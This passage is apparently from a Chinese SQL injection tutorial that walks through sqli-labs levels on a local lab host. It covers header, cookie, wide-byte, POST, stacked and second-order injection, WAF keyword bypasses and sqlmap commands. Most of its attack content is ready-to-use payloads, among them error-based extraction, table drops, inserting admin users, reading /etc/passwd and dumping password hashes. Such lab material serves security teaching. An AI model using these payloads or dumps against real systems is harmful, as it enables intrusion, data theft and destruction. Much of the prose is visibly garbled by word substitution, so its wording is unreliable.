后台开拓职员为了验证客户端HTTP Header(比如常用的Cookie验证等)或者通过HTTP Header头信息获取客户真个一些信息(例如:User-Agent、Accept字段等),会对客户端HTTP Header 进行获取并利用SQL语句进行处理,如果此时没有足够的安全考虑,就可能导致基于HTTP Header的注入漏洞
2)常见HTTP头部注入类型
Cookie:网站为了辨别用户身份、进行session跟踪而存储在用户本地终端上的数据。

User-agent:使做事器能够识别客户端利用的操作系统,浏览器版本等。
Referer:浏览器向web做事器表名自己是从哪个页面过来的。
X-forwarded-for:简称xff头,它代表客户端(即http的要求端)真实IP。
3)头部注入的条件
能够对要求头进行修正,修正要求头信息能够带入数据库实行,数据库没有对输入的要求头做过滤。
(2)案例sqli-labs-less-18 user-agent1)判断注入点
通过页面登录创造有返回的user-agent信息,可以通过抓包对其进行注入测试。
2)判断是否存在报错
通过抓包后在user-agent的值后面添加滋扰字符进行测试。创造能够涌现报错的信息。
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0'
3)利用报错语句进行测试
User-Agent: 'and updatexml(1,0x7e,3)and '1'='1
4)确认数据库名
User-Agent: 'and updatexml(1,concat(0x7e,database()),3) and '
5)确认数据库表名
User-Agent: 'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security' )),3) and '
6)确认数据库列名
User-Agent: 'and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' )),3) and '
7)确认数据库字段名
User-Agent: 'and updatexml(1,concat(0x7e,(select username from users limit 0,1 )),3) and '
紧张把稳的是测试的时候里面有利用limit进行分页,有没有进行分页的,如果对分页存在疑问可以去报错注入中查看阐明,若阐明的不全,请善用百度。
(3)案例sqli-labs-less-19 referer1)判断注入点
通过页面登录创造有返回的referer信息,可以通过抓包对其进行注入测试。
2)判断是否存在报错
通过抓包后在referer的值后面添加滋扰字符进行测试。创造能够涌现报错的信息。
Referer: http://192.168.10.150/sqlilabs/Less-19/'
3)利用报错语句进行测试
Referer: 'and updatexml(1,0x7e,3)and '1'='1
4)确认数据库名
Referer: 'and updatexml(1,concat(0x7e,database()),3) and '
后续步骤和User-Agent的测试流程一样。
(4)案例sqli-labs-less-20 cookie1)判断注入点
通过界面创造存在cookie值。
2)判断是否存在报错
通过抓包后在Cookie的值后面添加滋扰字符进行测试。创造能够涌现报错的信息。
Cookie: uname=admin' and updatexml(1,0x7e,3)#
3)确认数据库名
Cookie: uname=admin' and updatexml(1,concat(0x7e,database()),3)#
后续步骤和User-Agent的测试流程一样。
(5)案例sqli-labs-less-21 cookie编码1)判断注入点
通过页面创造这里的cookie被加密了。
2)判断是否存在报错
通过抓包后在Cookie的值后面添加滋扰字符进行测试。创造能够涌现报错的信息。
Cookie: uname=YWRtaW4nKSBhbmQgdXBkYXRleG1sKDEsMHg3ZSwzKSM=
3)如何编码
首先在cookie处输入干系的测试语句,然后选中干系的测试语句对其进行转换选择》base64》base64编码。
例如:
编码前:admin') and updatexml(1,0x7e,3)#
解码后:YWRtaW4nKSBhbmQgdXBkYXRleG1sKDEsMHg3ZSwzKSM=
4)确认数据库名
Cookie: uname=YWRtaW4nKSBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsZGF0YWJhc2UoKSksMykj
后续步骤和普通的cookie的测试流程一样,当然是须要编码的,不编码就无法解析。
6.宽字节注入(1)宽字节注入基本观点1)宽字节注入的简介
宽字节注入指的是 mysql 数据库在利用宽字节(GBK)编码时,会认为两个字符是一个汉字(前一个ascii码要大于128(比如%df),才到汉字的范围),而且当我们输入单引号时,mysql会调用转义函数,将单引号变为’,个中\的十六进制是%5c,mysql的GBK编码,会认为%df%5c是一个宽字节,也便是’運’,从而使单引号闭合(逃逸),进行注入攻击。
2)宽字节注入的事理
mysql在利用GBK编码的时候,会认为两个字符是一个汉字(前一个ascii码要大于128,才到汉字的范围)php的魔术引号(magic_quotes_gpc)开启,会在分外字符(比如 ’ , " , \ , null)前面加 \ ,导致闭合失落败。
PHP5.4.0及其之后PHP版本取消了魔术引号,之后转义都须要加上addslashes函数 (stripslashes删除反斜杠)
(2)注入思路%df 吃掉 \ 详细的缘故原由是 urlencode(‘) = %5c%27,我们在%5c%27 前面添加%df,形成%df%5c%27,而上面提到的 mysql 在 GBK 编码办法的时候会将两个字节当做一个汉字,此时%df%5c 便是一个汉字,%27 则作为一个单独的符号在表面,同时也就达到了我们的目的。
将 \’ 中的 \ 过滤掉,例如可以布局 %%5c%5c%27 的情形,后面的%5c 会被前面的%5c 给注释掉。这也是bypass的一种方法。
(3)案例sqli-labs-less-32 宽字节1)判断注入点
?id=1 and 1=2 正常
到这里就可以判断不是数值型注入。
?id=1’ and 1=2 正常
…一贯都是正常的?
通过提示创造下面的输出的内容涌现了反斜杠进行了转义,同时还会将查询的字符转化为16进制输出,这里就可以想到利用宽字节注入进行考试测验。
宽字节的格式是在地址后先加一个%df,再加单引号,由于反斜杠的编码是%5c,而在GBK编码中,%df%5c是繁体字“連”,以是这时,单引号成功逃逸,报出MySQL数据库的缺点。
URL:http://192.168.10.150/sqlilabs/Less-32/?id=1%df' and 1=2--+
2)判断字段数字
下面便是利用联合查询进行注入。
URL:http://192.168.10.150/sqlilabs/Less-32/?id=-1%df' order by 4--+
3)判断显示位
URL:http://192.168.10.150/sqlilabs/Less-32/?id=-1%df' union select 1,2,3--+
4)确定数据库名
URL:http://192.168.10.150/sqlilabs/Less-32/?id=-1%df' union select 1,database(),3--+
也可以利用其他的办法进行注入,例如结合报错。
7.post注入(1)post注入基本观点1)post注入事理
数据从客户端提交到做事器端,例如我们在登录过程中,输入用户名和密码,用户名和密码以表单的形式提交,提交到做事器后做事器再进行验证。这便是一次post的过程的。
2)post注入条件
用户能够掌握输入,原来程序要实行的代码,拼接了用户输入的数据。
3)post注入高危点
登录框、查询框、等各种和数据库有交互的框。
(2)post注入思路在 post 过程中,我们输入的用户名和密码末了在后台处理的过程中依旧会形成前面所见到的 sql 语句,那么我们是否可以像 get 型的一样布局我们想要的 payload 呢?
(3)案例sqli-labs-less-11 post1)判断注入点
这里的判断注入点就不能从URL上进行测试了,我们上面也提到了,post的注入点在登录框、查询框等…
输入:用户名:admin’ and 1=1#
密码:随便输入 登录成功
当然这里也是须要利用其他的滋扰字符测试出来的。
2)判断字段数
这里也是可以利用联合查询进行注入。
uname=admin' order by 3#&passwd=sdasda&submit=Submit
3)判断显示位
这里须要使前面涌现缺点就须要让uname=数据库中没有的用户名,由于在数据库中是没有这个用户的以是就产生缺点。
uname=-admin' union select 1,2#&passwd=sdasda&submit=Submit
4)确定数据库名
uname=-admin' union select database(),2#&passwd=sdasda&submit=Submit
当然这里有时候用不告终合查询,可以利用报错、布尔等办法进行注入。
8.堆叠注入(1)堆叠注入基本观点1)堆叠注入定义
Stacked injections(堆叠注入)从名词的含义就可以看到该当是一堆 sql 语句(多条)一起实行。而在真实的利用中也是这样的, 我们知道在 mysql 中, 紧张是命令行中, 每一条语句结尾加; 表示语句结束。这样我们就想到了是不是可以多句一起利用。这个叫做 stacked injection。
2)堆叠注入事理
在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后连续布局下一条语句,会不会一起实行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么差异么?
差异就在于union 或者union all实行的语句类型是有限的,可以用来实行查询语句,而堆叠注入可以实行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products做事器端天生的sql语句为: Select from products where productid=1;DELETE FROM products当实行查询后,第一条显示查询信息,第二条文将全体表进行删除。
3)堆叠注入局限性
堆叠注入并不是在每种情形下都能利用的。大多数时候,由于API或数据库引擎的不支持,堆叠注入都无法实现。
4)堆叠注入条件
目标存在sql注入漏洞,目标未对";"号进行过滤,目标中间层查询数据库信息时可同时实行多条sql语句
(2)堆叠注入攻击语句新建一个表X:select from users;create table X like users;删除创建的X表:select from users;drop table X;查询数据:select from users;select B,C,D;加载文件:select from users;select load_file('/etc/passwd');增加一条数据:select from users;insert into users values(18,'admin100','admin100');
(3)案例sqli-labs-less-38 堆叠
1)判断注入点
?id=1 and 1=2 正常
?id=1’ and 1=2 不正常
由此判断该闭合办法为单引号。
URL:http://192.168.10.150/sqlilabs/Less-38/?id=1' and 1=2--+
2)新建表
新建一个test表。
URL:http://192.168.10.150/sqlilabs/Less-38/?id=1'; create table test like users;--+
验证:
URL:http://192.168.10.150/sqlilabs/Less-38/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
通过返回的数据明显能够看到多了一个test文件。
3)删除表
删除test表。
URL:http://192.168.10.150/sqlilabs/Less-38/?id=1'; drop table test;--+
验证:
URL:http://192.168.10.150/sqlilabs/Less-38/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
通过返回数据明显是少了一个test表。
4)创建用户
创建一个ID为16,用户名为:admin100,密码为:admin100的用户。
URL:http://192.168.10.150/sqlilabs/Less-38/?id=1'; insert into users values(16,'admin100','admin100');--+
验证:
通过输入ID号,获取我们创建的用户。
URL:http://192.168.10.150/sqlilabs/Less-38/?id=16
1)二阶注入定义
二阶排序注入也成为存储型的注入,便是将可能导致sql 注入的字符先存入到数据库中,当再次调用这个恶意布局的字符时,就可以出发sql注入。
2)二阶注入事理
第一步:插入恶意数据
第一次进行数据库插入数据的时候,仅仅对个中的分外字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身包含恶意内容。
第二步:引用恶意数据
在将数据存入到了数据库中之后,开拓者就认为数据是可信的。不才一次须要进行查询的时候,直接从数据库中取出了恶意数据,没有进行进一步的考验和处理,这样就会造成SQL的二次注入。
(2)二阶注入思路黑客通过布局数据的形式,在浏览器或者其他软件中提交 HTTP 数据报文要求到做事端进行处理,提交的数据报文要求中可能包含了黑客布局的 SQL 语句或者命令。
做事端运用程序会将黑客提交的数据信息进行存储,常日是保存在数据库中,保存的数据信息的紧张浸染是为运用程序实行其他功能供应原始输入数据并对客户端要求做出相应。
黑客向做事端发送第二个与第一次不相同的要求数据信息。
做事端吸收到黑客提交的第二个要求信息后,为了处理该要求,做事端会查询数据库中已经存储的数据信息并处理,从而导致黑客在第一次要求中布局的 SQL 语句或者命令在做事端环境中实行。
做事端返回实行的处理结果数据信息,黑客可以通过返回的结果数据信息判断二次注入漏洞利用是否成功。
(3)案例sqli-labs-less-24 二阶1)注册用户
二次注入是由于对付存储到数据的数据没有经由过滤验证,且从数据库提取数据时候也没有进行过滤验证。
用户名:admin’#
密码:123456
2)登任命户
登录我们刚刚创建的admin’#用户的账号。
用户名:admin’#
密码:123456
3)修正密码
修正admin’#的密码。
用户名:admin’#
密码:123
返复书息:
4)登录admin账号
登录admin账号,利用的密码是我们刚刚修正admin’#账号的密码。
用户名:admin
密码:123
我们所注册的admin’#账号,在注册的时候,后端对其进行了转义,‘#被转义成其他数据,以是第一次的注入相称于是无效的。
但是在我们对其进行修正密码的时候数据库中实行的语句是修正admin的账号,后面的’#被注释掉了,以是数据库理解成是修正admin的账号。
五、SQL注入过滤与绕过1.WAF(1)WAF事理1)WAF事理
WAF(web application firewall)web运用防火墙,它事情在OSI模型的第七层,也便是我们所熟知的运用层,对来自Web运用程序客户真个各种要求进行内容检测和验证,确保其安全性与合法性,对造孽的要求予以实时阻断,为Web运用供应防护,也称作运用防火墙,是网络安全纵深防御体系里主要的一环。WAF属于检测型及纠正型防御掌握方法。
2)WAF分类
WAF分为非嵌入型WAF和嵌入型WAF,非嵌入型指的是硬WAF、云WAF、虚拟机WAF之类的;嵌入型指的是web容器模块类型WAF、代码层WAF。
3)WAF事情过程
解析HTTP要求》匹配规则》防御动作》记录日志
2.常见过滤(1)空格过滤绕过① 两个空格代替一个
② 用TAB代替空格
③ %a0=空格
④ 若括号没被过滤可以利用括号进行过滤
⑤ %0B绕过
(2)or或and过滤绕过① 大小写变形Or,OR,oR
② 编码
③ 添加注释/or/
④ 利用符号 and=&&,or=||
⑤ 双写and=anandd,or=oorr
(3)#或–+过滤绕过① 单引号闭合须要在后面增加一个单引号即可
② 双引号闭合须要在后面注入语句后面增加一个双引号
③ (‘’)单引号加括号这种须要多加一个or (‘’)=('1
④ (“”)双引号加括号这种须要多加一个or (“”)=("1
⑤ or ‘1’=’1进行闭合。
(4)union,select等关键字过滤绕过① 大小写绕过uNIon,sEeCt
② 双写绕过uniunionon,selselctct
③ 注释符绕过U//nion
④ 内联注释/!union/
⑤ 编码绕过
(5)等号过滤绕过① 大于号小于号替代等号
② like绕过
(6)函数过滤绕过① 同功能函数更换mid()更换substring()
② 各种编码绕过
当然还存在很多的绕过办法,可能还存在很多奇奇怪怪的绕过姿势,这里就总结一下常见的。
3.案例案例这里只测试绕过办法,不会一贯注入至获取数据,除了绕过检测,和其他的案例不一样,后续的注入手腕都是差不多的。
(1)案例sqli-labs-less-25 or/and绕过1)双写绕过
URL:http://192.168.10.150/sqlilabs/Less-25/?id=1' anandd 1=2--+
后面利用到的所有的函数单词中涉及or或and都须要双写,不然会被过滤。
至于利用报错还是布尔亦或者延迟都可以,可能会存在有些盲注利用不了还可以利用联合查询,利用什么办法可以自己进行测试。
(2)案例sqli-labs-less-23 注释符绕过1)布局滋扰字符闭合
URL:http://192.168.10.150/sqlilabs/Less-23/?id=1' anandd '1'='2--+
这一关涉及到了and或or过滤,空格过滤,注释符过滤。至于空格为什么没利用编码绕过,是由于搭建的环境不识别,以是就利用了括号绕过,但条件是括号没被过滤。
1)括号绕过
URL:http://192.168.10.150/sqlilabs/Less-26/?id=1'anandd(updatexml(1,0x7e,1))anandd'
1)大小写绕过
URL:http://192.168.10.150/sqlilabs/Less-27/?id=-100'%0BunIon%0BSelEcT%0B1,database(),3'
这里我是Windows平台的php5.4.45+apache,利用各种编码都过不了空格,后面考试测验了%0B创造能过去,可以考试测验考试测验。
4.总结在做WAF绕过测试的时候,按照sqliabs中这些后面的关卡中制作的过滤机制在测试的时候存在一些小bug以及一些Windows平台无法解析的编码问题。
WAF绕过的办法还是很多的,但是确实失落败的概率也高,以是须要耐心解析,在实际运用中,个人觉得WAF绕过,一次两次测试没有问题,次数多了,估计管理员那边也就创造了。包括一些设定了阈值的机制,相对来说WAF绕过还是比较困难的。
六、sqlmap工具注入1.sqlmap先容(1)sqlmap简介1)sqlmap简介
Sqlmap是一个开源的渗透测试工具,可以用来自动化的检测,利用SQL注入漏洞,获取数据库做事器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件乃至可以通过外带数据连接的办法实行操作系统命令。
2)sqlmap支持
目前支持的数据库有MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access等大多数据库。
(2)sqlmap支持的注入办法Sqlmap全面支持六种SQL注入技能:
基于布尔类型的盲注:即可以根据返回页面判断条件真假的注入。
基于韶光的盲注:即不能根据页面返回的内容判断任何信息,要用条件语句查看韶光延迟语句是否已实行(即页面返回韶光是否增加)来判断。
基于报错注入:即页面会返回缺点信息,或者把注入的语句的结果直接返回到页面中。
联合查询注入:在可以利用Union的情形下的注入。
堆查询注入:可以同时实行多条语句时的注入。
带外注入:布局SQL语句,这些语句在呈现给数据库时会触发数据库系统创建与攻击者掌握的外部做事器的连接。以这种办法,攻击者可以网络数据或可能掌握数据库的行为。
(3)sqlmap安装该工具可以在kail中是自带的,当然也可以自行下载。
2.sqlmap利用(1)常用参数命令:Sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1"#探测该页面是否存在漏洞。命令:sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1" --cookie="抓取的cookie"#当网站须要登录时,探测该页面是否存在漏洞。命令:sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1" --data="username=admin&password=admin&submit=submit"#抓取其post提交的数据填入命令:sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1" --dbs#爆出所有的数据库命令:sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1" --tables#爆出所有的数据表命令:sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1" --columns#爆出数据库中所有的列命令:sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1" --current-db#查看当前的数据库命令:sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1" -D security --tables#爆出数据库security中的所有的表命令:sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1" -D security -T users --columns#爆出security数据库中users表中的所有的列命令:sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1" -D security -T users -C username --dump#爆出数据库security中的users表中的username列中的所有数据命令:sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1" -D security -T users -C username --dump --start 1 --stop 100#爆出数据库security中的users表中的username列中的前100条数据sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1" -D security -T users --dump-all#爆出数据库security中的users表中的所有数据sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1" -D security --dump-all#爆出数据库security中的所有数据sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1" --dump-all#爆出该数据库中的所有数据sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1" --users#查看数据库的所有用户sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1" --passwords#查看数据库用户名的密码有时候利用 --passwords 不能获取到密码,则可以试下-D mysql -T user -C host,user,password --dump当MySQL< 5.7时-D mysql -T user -C host,user,authentication_string --dump当MySQL>= 5.7时sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1" --current-user#查看数据库当前的用户sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1" --is-dba#判断当前用户是否有管理员权限sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1" --roles#列出数据库所有管理员角色,仅适用于oracle数据库的时候
3.案例(1)案例sqli-labs-less-1 测试注入
1)探测是否存在漏洞
命令:sqlmap -u http://192.168.10.150/sqlilabs/Less-1/?id=1
2)查询当前用户下的所有数据库
命令:sqlmap -u http://192.168.10.150/sqlilabs/Less-1/?id=1 -dbs
3)获取数据库中的表
命令:sqlmap -u http://192.168.10.150/sqlilabs/Less-1/?id=1 -D security -tables
4)获取表中的字段数
命令:sqlmap -u http://192.168.10.150/sqlilabs/Less-1/?id=1 -D security -T users -columns
5)获取字段内容
命令:sqlmap -u http://192.168.10.150/sqlilabs/Less-1/?id=1 -D security -T users -C username,password -dump
1)获取数据库下所有用户
命令:sqlmap -u http://192.168.10.150/sqlilabs/Less-1/?id=1 -users
2)获取数据库下密码
命令:sqlmap -u http://192.168.10.150/sqlilabs/Less-1/?id=1 -passwords
3)查看数据库当前用户
命令:sqlmap -u http://192.168.10.150/sqlilabs/Less-1/?id=1 -current-user